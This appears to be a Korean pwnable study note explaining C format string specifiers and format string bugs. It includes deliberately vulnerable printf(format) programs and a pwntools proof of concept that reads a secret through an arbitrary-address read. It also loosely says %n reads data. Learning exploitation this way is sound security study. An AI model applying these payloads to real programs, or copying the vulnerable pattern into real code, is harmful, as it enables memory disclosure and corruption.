포맷 스트링
%[parameter][flags][width][.precision][length]type
형식 지정자(specifier)
형식 지정자 | 설명 |
%d | 부호있는 10진수 정수 |
%s | 문자열 |
%x | 부호없는 16진수 정수 |
%n | 인자에 현재까지 사용된 문자열의 길이를 저장 |
%p | void형 포인터 |
width
최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 경우, 공백문자를 패딩해준다.
너비 지정자 | 설명 |
정수 | 정수의 값만큼을 최소 너비로 지정 |
* | 인자의 값 만큼을 최소 너비로 지정 |
// Name: fs.c
// Compile: gcc -o fs fs.c
#include <stdio.h>
int main()
{
int num;
printf("%8d\n", 123);
printf("%s\n", "Hello, world");
printf("%x\n", 0xdeadbeef);
printf("%p\n", &num);
printf("%s%n: hi\n", "Alice", &num);
printf("%*s: hello\n", num, "Bob");
return 0;
}
"%n"은 포맷스트링의 인자가 사용자의 입력에 영향을 받기때문에, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다. 하지만 포맷 스트링의 길이를 코드에 사용해야 한다면 %n을 사용하면 된다.
parameter
참조할 인자의 인덱스를 지정한다. 필드의 끝은 $로 표기, 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.
// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main()
{
int num;
printf("%2$d, %1$d\n", 2, 1);
return 0;
}
포맷 스트링 버그
포맷 스트링 버그(Format String Bug, FSB)는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 말한다. 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수있다.
임의 주소 읽기1
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main()
{
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
사용자가 임의의 포맷 스트링을 입력하고, x64 함수 호출 규약을 생각해보면 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10]임을 알 수 있다.
임의 주소 읽기2
// Name: fsb_arr.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main()
{
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
from pwn import *
p = process('./fsb_aar')
p.recvuntil(b"`secret`: ")
secret_addr = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(secret_addr)
p.sendline(fstring)
p.interactive()
포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용해 그 주소에 데이터를 읽을 수 있다.
임의 주소 쓰기
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main()
{
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
PoC를 실행시키면 31337로 조작한 secret의 값이 출력이 된다.
'Pwnable > Techniques' 카테고리의 다른 글
Memory Corruption: Double Free Bug (0) | 2022.01.06 |
---|---|
Memory Corruption: Use After Free (0) | 2022.01.05 |
Out of Bounds (0) | 2021.12.30 |
RELRO (0) | 2021.12.29 |
RELRO (0) | 2021.12.29 |
댓글